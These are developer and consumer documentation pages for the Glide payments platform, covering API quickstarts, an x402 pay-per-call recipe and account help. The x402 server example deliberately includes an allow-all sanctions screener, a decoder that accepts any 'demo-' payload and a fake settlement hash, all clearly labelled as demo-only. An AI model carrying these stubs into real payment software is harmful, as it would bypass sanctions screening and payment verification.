`exportLastMonthSpend` expects its client to return an array of events containing receipts. The MCP `audit.stream` contract returns a stream cursor instead. Implement an adapter that obtains authorized events and supplies the shape expected by the example; the example is not a direct drop-in client for that endpoint.
The function parses receipt rows with `parseSpendReceipt` and returns CSV using `exportCsv`. It skips malformed receipts. Review skipped rows before using the output for accounting.
## Run the tests
With product-repository dependencies installed, run from the repository root:
```bash theme={null}
pnpm --filter @glide-examples/build-a-skill-spend-export test
```
These tests exercise the example's manifest and CSV behavior. Validate the real data source, grant scope and consent flow separately before publishing your skill.
## Source
[Read the spend-export skill example](https://github.com/glide-co/glide-mono/tree/main/examples/build-a-skill-spend-export). Source access is required.
## Next
* [Skill authoring](/oss/skills/authoring)
* [Skill manifest](/oss/standards/skill-manifest)
* [Policy envelope](/agents/policy-envelope)
* [audit.stream](/agents/api/audit-stream)
# curl quickstart
Source: https://glide-9da73dea.mintlify.app/cookbook/curl-quickstart
Call accounts.list over HTTP with an authorized Glide grant.
Use curl to make a read-only MCP request. You need a configured gateway, an active agent and a grant with `accounts:read`. A local gateway does not supply an anonymous demo token.
## Configure access
Obtain `GLIDE_GRANT_TOKEN` through your configured authorization server. Set `GLIDE_BASE_URL` to the gateway origin. Keep the token out of source control.
## Read authorized accounts
```bash theme={null}
curl --request POST "${GLIDE_BASE_URL}/mcp/read" \
--header "Authorization: Bearer ${GLIDE_GRANT_TOKEN}" \
--header 'Content-Type: application/json' \
--data '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{"name":"accounts.list","arguments":{}}}'
```
Check for HTTP and JSON-RPC errors, then inspect `result.isError` before reading `result.structuredContent`. A successful call returns the accounts visible to that grant. It does not initiate a payment or produce a settlement receipt.
The source example contains a `Makefile` and `request.http` for this request. Use an environment where `accounts.list` is enabled.
## Add payment calls
Use the input schema and endpoint on [`payments.initiate`](/agents/api/payments-initiate). Preserve the payment's idempotency key and track its recorded outcome. A successful submission is not proof of settlement.
## Source
[Read the curl example](https://github.com/glide-co/glide-mono/tree/main/examples/curl-quickstart). Source access is required.
## Next
* [OAuth flow](/oss/headless/oauth-flow)
* [MCP tool reference](/agents/api/index)
* [TypeScript quickstart](/cookbook/typescript-quickstart)
# Embed OWS React Native
Source: https://glide-9da73dea.mintlify.app/cookbook/embed-ows-react-native
Connect an OWS wallet to a signer backend in React Native and understand the demo's limits.
The React Native example demonstrates wallet registration and a signing interface with `@glideco/ows-react-native`. Its demo backend returns fixed addresses, a placeholder public key and a fake signature. It does not generate hardware-backed keys or verify a payment on-chain.
## Read the example
Start with `examples/embed-ows-react-native/App.tsx` in the product repository. Follow that example's dependency and platform setup instructions.
The example:
1. Implements `OwsSignerBackend` with `getAddress`, `getPublicKey` and `sign`.
2. Calls `buildGlideOwsWallet` with that backend and selected chains.
3. Refreshes the wallet accounts.
4. Registers the wallet with `registerGlideOwsWallet`.
5. Displays a demo signing result when you choose **Demo: sign a message**.
Registration exposes the wallet to compatible runtimes in the same JavaScript context. It does not register an agent identity with the MCP gateway or authorize a payment.
## Supply a real signer
For real signing, implement a backend appropriate to the selected chain and signing algorithm. The example's `ios/setup.md` and `android/setup.md` describe native integration patterns; they are not prebuilt Secure Enclave or StrongBox modules.
Verify device support, key storage, user confirmation, signature encoding and chain compatibility in your implementation. Do not treat the demo signature or a simulator run as proof of hardware protection.
## Source
[Read the React Native example](https://github.com/glide-co/glide-mono/tree/main/examples/embed-ows-react-native). Source access is required.
## Next
* [OWS React Native package](/oss/packages/ows-react-native)
* [Agent identity package](/oss/packages/agent-identity)
* [MCP tool reference](/agents/api/index)
# Cookbook
Source: https://glide-9da73dea.mintlify.app/cookbook/index
Integration examples with prerequisites, source links and demo limitations.
Source-repository links require access to the private `glide-co/glide-mono` repository. Request access from Glide if a source link is unavailable.
Each recipe describes a focused integration. Check its prerequisites and distinguish demo adapters from live services before connecting real funds.
Bare HTTP. No SDK. Make an authorized read-only account query.
Thin TS wrapper around the MCP gateway. Run `accounts.list` and print the result.
Python httpx wrapper. Run `accounts.list` with `python src/main.py`.
Review the lifecycle example, its mock responses and the requirements for live payment verification.
Pay your own users. Pre-create accounts, collect consent, push batch payouts, verify webhooks.
Scaffold, implement, and test a new connector from scratch (Stripe-shaped clone).
Define a manifest, consent copy and entry point. Review the example tests and data-source adapter requirements.
Register a wallet with a demo signer, then supply and verify your own signing backend.
Pay-per-call API using `@glideco/x402-facilitator`. Inspect demo verification and settlement, then supply real payment dependencies.
## Picking your first recipe
Not sure where to start? Pick by role:
Start with [curl quickstart](/cookbook/curl-quickstart) to understand the wire format,
then [build a connector](/cookbook/build-a-connector) to plug in your own banking rails.
Start with [TypeScript quickstart](/cookbook/typescript-quickstart) to confirm the
MCP gateway is reachable, then [agent pays vendor](/cookbook/agent-pays-vendor) for
the payment lifecycle and its demo limitations.
Go straight to [bring payments into your app](/cookbook/bring-payments-into-your-app)
for the pre-create, consent, payout and webhook path, then the
[Partner API reference](/partners/index) for the exact contracts.
Start with [build a skill](/cookbook/build-a-skill) — it walks the same scaffold
pattern in the spend-export example. Connector authors should read
[build a connector](/cookbook/build-a-connector) instead.
# Python quickstart
Source: https://glide-9da73dea.mintlify.app/cookbook/python-quickstart
Run the Python accounts.list example using httpx and an authorized Glide grant.
The Python example calls `accounts.list` and prints the response. It uses `httpx` and the wrapper in `src/glide_client.py`. It does not mint tokens, initiate payments or generate settlement receipts.
## Prerequisites
Use Python 3.11 or later and an MCP gateway that exposes `accounts.list`. Obtain an active grant with `accounts:read` through your configured authorization server.
## Run the example
From the product repository:
```bash theme={null}
cd examples/python-quickstart
python -m venv .venv
source .venv/bin/activate
python -m pip install -e .
```
Set `GLIDE_GRANT_TOKEN` and, if needed, `GLIDE_BASE_URL` in your environment, then run:
```bash theme={null}
python src/main.py
```
The script prints the authorized accounts and fetch timestamp. Missing tokens and API errors exit with a failure. A successful balance or account query does not establish payment availability.
## Extend it
Use the tool's required scope, category and input schema. The caller must handle token renewal, approval responses and payment status. See the [MCP tool reference](/agents/api/index).
## Source
[Read the Python example](https://github.com/glide-co/glide-mono/tree/main/examples/python-quickstart). Source access is required.
## Next
* [OAuth flow](/oss/headless/oauth-flow)
* [Agent pays vendor](/cookbook/agent-pays-vendor)
* [Step-up approvals](/agents/step-up)
# TypeScript quickstart
Source: https://glide-9da73dea.mintlify.app/cookbook/typescript-quickstart
Run the TypeScript accounts.list example with an authorized Glide grant.
The TypeScript example calls `accounts.list` and prints the authorized accounts. It uses a fetch wrapper in `src/glide-client.ts`. It does not mint a grant, refresh tokens, stream events or initiate a payment.
## Prerequisites
Use the product repository with its dependencies installed, Node with native fetch support, and a configured MCP gateway. Obtain an active grant with `accounts:read` through your authorization server.
## Run the example
Set `GLIDE_GRANT_TOKEN` and, if needed, `GLIDE_BASE_URL` in your environment. From the product repository root:
```bash theme={null}
pnpm --filter @glide-examples/typescript-quickstart start
```
The entry point is `src/index.ts`. It exits with an error if the token is missing or the API call fails. On success, it prints the account list and fetch timestamp.
## Use the wrapper
This example's wrapper accepts the tool name, arguments and an optional category. The default category is `read`.
```ts theme={null}
import { GlideClient } from './glide-client.js';
const client = new GlideClient({
grantToken: process.env.GLIDE_GRANT_TOKEN!,
baseUrl: process.env.GLIDE_BASE_URL,
});
const result = await client.call('accounts.list', {});
console.log(result);
```
The wrapper unwraps MCP `result.structuredContent` and rejects HTTP, JSON-RPC and tool errors. Token renewal is the caller's responsibility.
## Extend it
Choose a tool exposed by your gateway and use its required scope, input schema and category. For writes, handle approval responses and track the existing action before retrying. Start with [payment simulation](/agents/api/payments-simulate).
## Source
[Read the TypeScript example](https://github.com/glide-co/glide-mono/tree/main/examples/typescript-quickstart). Source access is required.
## Next
* [MCP tool reference](/agents/api/index)
* [OAuth flow](/oss/headless/oauth-flow)
* [Agent pays vendor](/cookbook/agent-pays-vendor)
# x402 paid API
Source: https://glide-9da73dea.mintlify.app/cookbook/x402-paid-api
Build a pay-per-call API using @glideco/x402-facilitator. Server calls handleVerify and handleSettle directly; client sends X-Payment header.
This recipe builds an Express demo that returns HTTP 402 until its demo payment payload is
accepted. `handleVerify` and `handleSettle` from `@glideco/x402-facilitator` are called
directly in route handlers — there is no Express middleware abstraction. The client
side constructs and sends the `X-Payment` header with a payment payload.
The example uses a permissive screener, a demo decoder and mock settlement. It does not verify or broadcast a real USDC payment. A live integration must validate signed authorization and verify settlement through chain RPC before treating the request as paid.
Audience: developers who want to monetize an API call without a billing dashboard.
## Prerequisites
* Node 22+ and pnpm.
* A Base Sepolia wallet with test USDC — get some from the [Coinbase faucet](https://faucet.base.org).
* Optional: a Chainalysis API key if you want real sanctions screening instead of the
permissive demo screener.
## Steps
### 1. Clone the example
```bash theme={null}
cd axtior-neobank/examples/x402-paid-api
pnpm install
```
### 2. Set environment variables
```bash theme={null}
cp .env.example .env
```
```bash theme={null}
# .env
PORT=3001
PAYEE_ADDRESS=0xYourPayeeAddress000000000000000000000001
```
### 3. Build the server (`src/server.ts`)
The server exposes three routes:
* `GET /api/weather` — returns 402 (no payment) or 200 (valid payment)
* `POST /x402/verify` — verify a payment payload; returns `{ isValid, ... }`
* `POST /x402/settle` — settle on-chain (mocked in the example); returns `{ success, txHash }`
```ts theme={null}
// src/server.ts
import express from 'express';
import {
handleVerify,
handleSettle,
X402_VERSION_HEADER,
X402_FACILITATOR_VERSION,
type HandleVerifyDeps,
type HandleSettleDeps,
type SettleResponse,
type ComplianceScreener,
type ScreeningResult,
} from '@glideco/x402-facilitator';
const PORT = Number(process.env['PORT'] ?? 3001);
const PAYEE_ADDRESS = process.env['PAYEE_ADDRESS']!;
const PRICE_USDC_MICRO = 1000; // 0.001 USDC (6 decimals)
const app = express();
app.use(express.json({ limit: '4mb' }));
```
**Compliance screener.** The example uses a permissive allow-all screener so it runs
without Chainalysis credentials. Swap in `@glideco/connector-chainalysis` in production —
the `ComplianceScreener` interface is the same.
```ts theme={null}
// Permissive demo screener — replace with @glideco/connector-chainalysis in production
const permissiveScreener: ComplianceScreener = {
async screenSanctions(): Promise {
return { verdict: 'allow', reason: 'permissive-demo', provider: 'demo' };
},
};
```
**`/x402/verify` route.** Decodes the payment payload and runs the compliance pipeline.
In production, replace the demo decoder with EIP-712 signed transfer authorization
validation.
```ts theme={null}
const verifyDeps: HandleVerifyDeps = {
async decodePayload({ payload }) {
if (payload.startsWith('demo-')) {
return {
valid: true,
payerAddress: '0xDemoPayerAddress000000000000000000000001',
payeeAddress: PAYEE_ADDRESS,
amount: String(PRICE_USDC_MICRO),
};
}
return { valid: false, invalidReason: 'invalid_signature' as const };
},
screener: permissiveScreener,
};
app.post('/x402/verify', async (req, res) => {
const result = await handleVerify(req.body, verifyDeps);
res.setHeader(X402_VERSION_HEADER, X402_FACILITATOR_VERSION);
res.json(result);
});
```
**`/x402/settle` route.** Derives a content-bound idempotency key, replays on cache hit,
re-verifies, then calls the configured settlement dependency. The example dependency returns a mock transaction hash.
```ts theme={null}
const idempotencyCache = new Map();
const settleDeps: HandleSettleDeps = {
async preflightVerify(request) {
return handleVerify(request, verifyDeps);
},
async loadIdempotent(key) {
return idempotencyCache.get(key);
},
async storeIdempotent(key, response) {
idempotencyCache.set(key, response);
},
async broadcast({ network }) {
// Production: call USDC.transfer on Base via viem or ethers.
// Demo only. A live implementation must return a chain-verified hash, not a
// facilitator response body (F1 IRON RULE).
return {
success: true,
txHash: `0x${'demo'.repeat(16)}`.slice(0, 66),
blockNumber: 12_345_678,
};
},
};
app.post('/x402/settle', async (req, res) => {
const result = await handleSettle(req.body, settleDeps);
res.setHeader(X402_VERSION_HEADER, X402_FACILITATOR_VERSION);
res.json(result);
});
```
**Paid endpoint.** On a request without `X-Payment`, return 402 with the payment
requirements. On a request with `X-Payment`, call `handleVerify` directly before
returning data.
```ts theme={null}
app.get('/api/weather', async (req, res) => {
const paymentHeader = req.headers['x-payment'] as string | undefined;
if (!paymentHeader) {
res.status(402).json({
x402Version: X402_FACILITATOR_VERSION,
error: 'Payment required',
accepts: [
{
scheme: 'exact',
network: 'base',
resource: `${req.protocol}://${req.get('host')}/api/weather`,
description: 'Weather data — 0.001 USDC per call',
mimeType: 'application/json',
payTo: PAYEE_ADDRESS,
maxAmountRequired: String(PRICE_USDC_MICRO),
maxTimeoutSeconds: 60,
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913', // USDC on Base
extra: { facilitatorUrl: `http://localhost:${PORT}` },
},
],
});
return;
}
// Verify the payment before returning data. Do NOT trust the header
// value without verification — F1 rule.
const verifyResult = await handleVerify(
{
x402Version: X402_FACILITATOR_VERSION,
paymentPayload: paymentHeader,
paymentRequirements: {
scheme: 'exact',
network: 'base',
resource: `${req.protocol}://${req.get('host')}/api/weather`,
payTo: PAYEE_ADDRESS,
maxAmountRequired: String(PRICE_USDC_MICRO),
maxTimeoutSeconds: 60,
asset: '0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913',
},
},
verifyDeps
);
if (!verifyResult.isValid) {
res.status(402).json({
error: 'invalid_payment',
reason: verifyResult.invalidReason,
});
return;
}
res.json({ temp: 72, unit: 'F', city: 'San Francisco' });
});
app.listen(PORT, () => {
console.log(`[server] listening on http://localhost:${PORT}`);
});
```
### 4. Write the client (`src/client.ts`)
The client follows the four-step x402 flow: probe → verify → settle → retry with header.
No special x402 client library is needed — standard `fetch` throughout.
```ts theme={null}
// src/client.ts
const BASE_URL = `http://localhost:${process.env['PORT'] ?? 3001}`;
// Step 1: hit the paid endpoint — expect 402
const firstRes = await fetch(`${BASE_URL}/api/weather`);
const fourOhTwo = await firstRes.json();
const req = fourOhTwo.accepts[0];
// Step 2: construct a demo payment payload and verify it
const demoPayload = `demo-payment-${Date.now()}`;
const verifyRes = await fetch(`${BASE_URL}/x402/verify`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
x402Version: fourOhTwo.x402Version,
paymentPayload: demoPayload,
paymentRequirements: req,
}),
});
const verifyBody = await verifyRes.json();
if (!verifyBody.isValid) throw new Error('verify failed');
// Step 3: settle (broadcasts the mock transfer)
const settleRes = await fetch(`${BASE_URL}/x402/settle`, {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({
x402Version: fourOhTwo.x402Version,
paymentPayload: demoPayload,
paymentRequirements: req,
idempotencyKey: `weather-${Date.now()}`,
}),
});
const settleBody = await settleRes.json();
console.log('settled txHash:', settleBody.txHash?.slice(0, 20));
// Step 4: retry with X-Payment header
const paidRes = await fetch(`${BASE_URL}/api/weather`, {
headers: { 'X-Payment': demoPayload },
});
const data = await paidRes.json();
console.log('weather:', JSON.stringify(data));
```
In production, replace the demo payload with a real EIP-712 signed USDC transfer
authorization from the payer's wallet.
## Run it
```bash theme={null}
# Terminal 1
npx tsx src/server.ts
# Terminal 2
npx tsx src/client.ts
```
Expected output:
```
[server] listening on http://localhost:3001
[client] settled txHash: 0xdemodemodemo...
[client] weather: {"temp":72,"unit":"F","city":"San Francisco"}
```
## Extend it
* Connect a supported screening provider with valid credentials, and verify its decisions and failure handling before accepting real payments.
* Move `idempotencyCache` to Redis so replay protection survives server restarts.
* Add tiered pricing: return different `maxAmountRequired` values per endpoint in the 402 body.
* Port to a Next.js API route — call `handleVerify` and `handleSettle` directly in the route handler; the pattern is identical.
* Derive the idempotency cache key using `deriveIdempotencyCacheKey` from `@glideco/x402-facilitator` — it binds the key to `(payTo, network, payloadHash)` to prevent cross-tenant cache poisoning.
## Source
[github.com/glide-co/glide-mono/tree/main/examples/x402-paid-api](https://github.com/glide-co/glide-mono/tree/main/examples/x402-paid-api)
## Reading list
* [`@glideco/x402-facilitator` package](/oss/packages/x402-facilitator) — `handleVerify`, `handleSettle`, `runCompliancePipeline`, `deriveIdempotencyCacheKey` API reference.
* [`@repo/connectors-coinbase-x402`](/oss/packages/connectors-coinbase-x402) — `decodeXPaymentHeader`, `encodeXPaymentHeader`, `handleX402Request` for production client-side payment construction.
* [Receipt schema](/oss/standards/receipt) — how x402 receipts map to the Glide receipt model.
* [F1 rule](/oss/concepts/money-safety-contracts) — why `on_chain_tx` must be server-fetched, never from a facilitator body.
# Who can open an account
Source: https://glide-9da73dea.mintlify.app/eligibility
Account and service availability depend on your location, verification and partner requirements.
Glide serves individuals and businesses that need to receive and send money across borders. Account opening and access to each service depend on your location, verification status, business activity and the relevant partner's requirements.
## Choose the right account
* **Personal:** for your own money, including freelance or contractor income.
* **Business:** for a company's funds, team access and entity-level controls.
See [Personal vs business](/accounts/personal-vs-business).
## Check service availability
The app shows the options available for your account. Personal bank deposits currently support **USD through ACH or wire** and **EUR through SEPA**. Bank payouts support USD ACH/Fedwire and EUR SEPA; additional methods appear only when Noah makes them available for the selected destination.
A currency in a directory does not guarantee that you can receive or send it. Card availability also depends on the issuing partner and your eligibility.
## Verification and restrictions
Follow the identity or business verification prompts in the app. Additional information may be required for your account or a particular transaction. Sanctions and compliance checks can restrict access to services.
If you are unsure whether your business or location is supported, email [hi@glide.co](mailto:hi@glide.co) with a short description of your use case.
## Next
* [Quickstart](/quickstart)
* [Identity verification](/accounts/identity)
* [Regulated services](/security/regulatory)
# Welcome to Glide
Source: https://glide-9da73dea.mintlify.app/index
Your global USD account. Hold USD, receive and send Euros, pay like a local in 100+ countries.
Glide is your global USD account. Hold USD, receive and send Euros, pay like a local in 100+ countries.
Glide is a fintech company. Banking, payment, currency-conversion and card-issuance services are provided by licensed partners. Glide is not a bank, and crypto balances are not deposit-insured.
## Start using your account
Sign in, choose your account type, and complete the checks required for the services you use.
Receive USD through ACH or wire, EUR through SEPA, or crypto at your personal wallet address.
Choose the receiving currency, recipient and amount. Review the live quote before confirming.
Save bank accounts, import contacts, and find the right recipient for your next payment.
## Find your way around
The mobile app has four tabs: **Home**, **Pay**, **Swap**, and **Recipients**. Open your avatar to reach your profile, inbox, statements, other accounts, and settings.
* [Accounts and your profile](/accounts/overview)
* [Statements](/money/statements)
* [Cards and availability](/cards/overview)
* [Wallet backup](/security/two-factor#wallet-backup)
* [Where your money sits](/security/segregated-banking)
## For businesses and builders
Business accounts keep their entity vaults, team controls, payroll and treasury workflows. Personal accounts use their own verified Privy embedded wallets.
Manage entities, teams and payments.
Give an agent scoped access with policy controls and an audit trail.
## Help and support
Email [hi@glide.co](mailto:hi@glide.co) if you need help with your account.
# Import contacts
Source: https://glide-9da73dea.mintlify.app/money/contact-import
Bring contacts from your phone, Google where available, or a CSV into Recipients and Send.
Import contacts from **Recipients** or the Glide-contact step in **Send**. Saved contacts are available to your Glide account on web and mobile.
| Source | How it works |
| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------- |
| Phone contacts | In the mobile app, grant access to the contacts you want to make available. Limited access and permission denial are respected. |
| Google Contacts, where available | Connect through Google's consent screen. The integration must be enabled for Glide; CSV remains an alternative when it is unavailable. |
| CSV | Choose a contacts CSV, including a Google Contacts CSV export, from web or the mobile file picker. |
## Import from Recipients
Choose **Import contacts** to save the permitted phone contacts on mobile or the chosen Google CSV on web. The toolbar explains what will be saved. Use **Choose contacts individually** if you want to preview and select entries first.
The import flow in **Send** uses a selection preview. Review the contacts and choose which ones to save.
## Connect Google Contacts
Where the connection is available, Google asks for permission to read contact names, email addresses and phone numbers. It does not request access to your Gmail inbox. Glide receives the contacts you choose to save.
On mobile, Google import opens the web flow. Sign in with the same Glide account, complete the import, then return to the app and refresh the recipient list if needed.
## After import
Search by name, email, phone or Glide tag. Imports normalize identifiers and skip duplicates. Alternate emails and phone numbers remain separately selectable. Include a country code when using a phone number for a payment.
Importing contacts does not send invitations, messages or payments, and does not create bank recipients. A contact marked **On Glide** still goes through recipient checks when you pay.
You can type an email or phone number and continue in Send without a saved contact. Unknown accounts fail before funding. See [Send money](/money/send#send-to-a-glide-contact).
## Privacy
Phone contacts are read only after you choose that import source and grant permission. Cancelling a picker or denying permission does not save contacts. See [Data and privacy](/security/data-privacy).
## Next
* [Recipients](/money/recipients)
* [Send money](/money/send)
# Deposits
Source: https://glide-9da73dea.mintlify.app/money/deposits
Add money with current Noah USD/EUR bank details or your personal wallet address.
Open **Add money** to see the deposit options available for your account. Personal crypto deposits go to your verified Privy embedded wallet. Bank receiving details come from Noah and require the applicable verification.
## Deposit crypto
Open the crypto deposit option and select the asset and network shown in the app. Check [Supported networks](/stablecoins/supported-networks) before sending.
Copy the address or scan its QR code. EVM networks use your verified embedded EVM wallet; Solana uses your separate embedded Solana wallet.
Check the asset, network, address and amount in the sending wallet before confirming. Your balance updates after the transaction is confirmed and the wallet balance is refreshed.
Use the asset and network shown in Glide. An address alone does not establish network compatibility. A transfer to the wrong address or network may be unrecoverable.
## Receive a bank transfer
Currently enabled receiving methods are **USD ACH/wire** and **EUR SEPA**.
In **Add money**, choose the bank deposit option and currency. Complete verification if prompted.
Use the account-holder name, account or IBAN, routing number or BIC, and reference exactly as shown. Do not substitute Glide as the recipient name.
Select the matching payment method at the sending bank. Include the reference where provided so the payment can be matched to your account.
Timing depends on the sending bank, payment method and any compliance review. Check the transaction status rather than assuming that submission means settlement.
Noah routes personal deposits to your verified wallet through the deposit workflow. Fiat handled by banking or EMI partners is subject to those partners' custody and deposit-protection rules. Crypto balances are not bank deposits and are not deposit-insured.
## Share receiving details
You can copy your current bank instructions for a sender. On web, [download a bank-details PDF](/money/statements) containing your live USD or EUR details and reference.
## Fees and limits
Review the instructions and any applicable fees before sending. Your sending bank or wallet may charge its own fees. See [Limits and fees](/money/limits-and-fees).
## Next
* [Send money](/money/send)
* [Statements](/money/statements)
* [Stablecoins](/stablecoins/overview)
# Foreign exchange and swaps
Source: https://glide-9da73dea.mintlify.app/money/fx
Review the rate, receiving amount and fees before confirming a conversion or swap.
Review the rate and the fee shown before you confirm a conversion. Available currencies and assets depend on your balance, account and the selected service.
## Review a conversion
Check the source balance, destination currency, amount you will receive and any fees. Transfer fees are published per rail and quoted with the transfer, before you confirm it.
For a bank payout, the live Noah quote is part of the [currency-first send flow](/money/send). A marketing calculator or currency directory does not establish that a payout method is available.
## Swap from your personal wallet
Open **Swap**, choose the assets and amount, and review the quote. Personal swaps use your verified Privy embedded wallet for the selected network. Confirm with the matching wallet when prompted.
A displayed value in USD does not turn a crypto asset into a fiat deposit. Crypto prices and stablecoin values can change.
## Convert a Glide balance
If you have a separate **Glide balance** from a partner payout, use the conversion action offered for that balance. Approved verification is required for conversion. Review the quote, then follow the cash-out action if you want to withdraw to a bank.
## Expired or unavailable quotes
If a quote expires or a route is unavailable, request a new quote and review it again. Do not assume that all currencies in Glide's currency directory can be deposited, swapped or paid out through every route.
## Next
* [Send money](/money/send)
* [Limits and fees](/money/limits-and-fees)
* [Stablecoins](/stablecoins/overview)
# Limits and fees
Source: https://glide-9da73dea.mintlify.app/money/limits-and-fees
Review published pricing and the limits and fees shown for your transaction.
Glide publishes pricing at [glide.co/pricing](https://glide.co/pricing). Transfer fees are published per rail and quoted with the transfer, before you confirm it.
## Check the quote
Before approving a payment or conversion, review:
* The balance and amount you will spend.
* The receiving currency and amount.
* The exchange rate and fees.
* Any network cost or funding requirement.
* The quote expiry and any arrival estimate shown.
Your bank, wallet or payment provider may charge additional fees under its own terms. Do not assume a transfer is free because the source and destination currencies match.
## Transaction limits
Available limits depend on the payment method, provider, account and verification requirements. The app checks the selected route and amount before funding. Follow any error or verification prompt shown.
If you need help with a limit, contact [hi@glide.co](mailto:hi@glide.co). Include the payment method and the error message, but never include a private key or sign-in code.
## Retries
If a rate limit or temporary error appears, follow the retry guidance. If a payment may already have been submitted, check its activity and status before creating another transfer.
## Next
* [Send money](/money/send)
* [Deposits](/money/deposits)
* [Foreign exchange and swaps](/money/fx)
# Recipients
Source: https://glide-9da73dea.mintlify.app/money/recipients
Find, add, edit and archive bank recipients and search your saved contacts.
**Recipients** brings your saved bank recipients and contacts together. It replaces **Beneficiaries** in the consumer navigation on web and mobile.
## Find a recipient
Search the list and use **All**, **Bank accounts**, or **Contacts** to narrow it. Open the bank filters to filter saved bank recipients by currency and category.
Contact search matches names, email addresses, phone numbers and Glide tags. Choose the exact identifier you intend to pay.
## Add a bank recipient
Open **Recipients** and choose **Add**. Search by currency name, code or destination country. Choose the destination and an available payment method when prompted.
Select a person or business, then enter the account-holder name to match the bank's records. This is separate from a category such as Vendor, Contractor, Employee or Agent.
Complete the fields for the selected payment method. Keep account numbers as written, including leading zeros.
| Currency | Details |
| -------- | ------------------------------------------------------------------------------------------------------ |
| USD | ACH or wire, routing and account numbers, checking or savings, and the account holder's postal address |
| EUR | IBAN, BIC when requested, and the payout reference |
Other available Noah channels use their own required fields. The recipient's residence and the bank destination country can differ; enter each where requested.
Review the details and category before saving. Saving a recipient does not send money.
## Edit, archive or send
Open a recipient's details to edit bank information or archive the entry. Archiving removes it from the active list and preserves its history.
Choose **Send** from the details to reuse that exact saved bank recipient. Review the current details and quote before confirming the transfer.
## Contacts and bank accounts
Imported contacts contain names and payment identifiers, not bank instructions. [Import from your phone, Google where available, or CSV](/money/contact-import). You can also type an email or phone number directly in Send without saving it first.
Glide must resolve a contact payment to an existing, verified wallet before funding. An **On Glide** match is useful for discovery; it does not replace the checks performed when you send.
## Next
* [Send money](/money/send)
* [Contact import](/money/contact-import)
# Send money
Source: https://glide-9da73dea.mintlify.app/money/send
Choose the receiving currency, recipient and amount, review a live quote, and explicitly confirm from your wallet.
Send to a bank account, an existing Glide user or a wallet address. Personal wallet payments use your verified Privy embedded wallet.
## Send to a bank account
The bank flow on web and mobile starts with the **receiving currency**.
Open **Send** on web or the bank transfer flow from **Pay** on mobile. Choose the currency the recipient should receive, then the destination and available payment method when prompted.
**USD ACH/Fedwire** and **EUR SEPA** are enabled today. Other Noah channels are checked at runtime and offered only when available. A currency listed in the currency directory may have no available payment method for your destination.
Search your saved bank recipients or add a new one. Choose a person or business account holder and enter the bank details requested for that currency and method. See [Recipients](/money/recipients).
Enter the amount and check the funding source. Wallet-funded bank payouts use USDC in your personal Privy wallet on Polygon. Make sure the required funds are on that network.
Check the recipient, payment method, amount to fund, receiving amount, rate, fees and quote expiry. The quote comes from Noah. If the quote or payment method is unavailable, resolve the error before proceeding.
Explicitly approve the payment with the matching Privy wallet. If the wallet changed or the quote expired, request a new quote. Review any network fee or funding prompt before signing.
Check the submitted payment in your activity. Wallet funding and bank settlement are separate stages: a confirmed crypto transfer does not by itself mean the recipient's bank has been paid.
A quote has an expiry. Delayed confirmation or compliance review can affect the final settlement rate, as disclosed on the review screen. If a submission has an uncertain outcome, check its status before starting another payment.
## Send to a Glide contact
Choose the Glide-contact send option. Search your saved contacts, select an identifier, or type an email, international phone number or Glide tag and continue. You do not need to save a contact first.
Glide checks that the recipient resolves to an existing account with a verified embedded wallet before funding. Phone lookup requires a uniquely matched, verified phone identity. An unknown or ambiguous account cannot receive through this flow.
Choose the supported network and amount, review the recipient and confirm with your personal wallet. Contact payments are wallet transfers, so they depend on the selected network and wallet confirmation.
[Import contacts](/money/contact-import) to make future searches easier. Importing a contact does not verify that every email or phone number belongs to the same Glide user.
## Send to a wallet address
Choose the wallet-address option, select a supported network, enter the destination and amount, and confirm with your personal wallet. The personal send flow supports native USDC on Ethereum, Base, Arbitrum, Polygon and Solana.
See [Stablecoin withdrawals](/stablecoins/withdrawals) for the steps and address checks.
## Send from a Glide balance
Partner payouts can appear as a separate **Glide balance**. On web, select **Glide balance** when it is offered in the bank flow, then follow its conversion and cash-out steps. Converting the credit requires approved verification.
A Glide balance is separate from the USDC already in your Privy wallet. Select the source you intend to spend; a wallet receipt does not create another spendable Glide balance.
## Business payments
Business payments retain entity vaults and the configured approval controls. See [Team roles](/business/team-roles) and [Vendor payments](/business/vendor-payments).
## Next
* [Recipients](/money/recipients)
* [Contact import](/money/contact-import)
* [Statements](/money/statements)
* [Limits and fees](/money/limits-and-fees)
# Statements and reports
Source: https://glide-9da73dea.mintlify.app/money/statements
View monthly personal activity and download activity or bank-details PDFs on web.
Open your profile and choose **Statements and reports** to review your personal account activity.
## Monthly activity
Choose a month from your available account history. Month choices follow the age of your account, up to the latest 12 months. The current month is marked **month to date**.
The report shows recorded transactions with their dates, amounts, currencies, fees and statuses. It does not invent historical opening or closing wallet balances. Business-entity activity is excluded from your personal report.
## Download PDFs on web
Open your avatar, then choose **Statements and reports**.
Select a month for an activity statement, or select USD or EUR for a bank-details document.
Stay signed in while downloading. Bank-details PDFs use your live Noah account data, including the payment reference when provided.
A bank-details document provides receiving instructions. It is separate from your monthly activity statement. If details are unavailable, complete the deposit-details flow and try again.
## Reports in the mobile app
The mobile app shows the monthly report in-app. Use web for activity and bank-details PDF downloads.
## Next
* [Deposits](/money/deposits)
* [Your profile](/accounts/overview#your-profile-hub)
* [Send money](/money/send)
# Hosted vs self-hosted
Source: https://glide-9da73dea.mintlify.app/oss/concepts/hosted-vs-self-hosted
100% code-parity commitment between Glide Cloud and self-hosted instances, with three documented exceptions (Chainalysis ToS, Privy Multi-tenant, mobile App Store distribution).
The OSS Cathedral plan commits to **100% code parity** between Glide Cloud and self-hosted instances — with explicit documented exceptions. This file is the source of truth for what's the same, what's different, and why.
## Code parity
The web app, mobile app, MCP gateway, all 21 connectors, all 6 hero skills, the policy engine, the grant wrapper, the schemas, the secrets-manager, the CLI, and the create-glide-app scaffolder all ship under MIT in this repo. There is **no `packages/enterprise/`** edition. No feature in code is gated by license, tenant tier, or feature flag based on whether you're on Glide Cloud or self-hosted.
The full list of code surfaces:
* `apps/web/` — Next.js 16 origin app (consumer + admin + agent skill catalog at `/skills`)
* `apps/mcp/` — MCP gateway (22 tools across read/write/treasury endpoints)
* `apps/mobile/` — Expo / React Native mobile app
* `packages/connectors//` × 21 — vendor adapters
* `packages/skills//` × 6 — agent skill packages
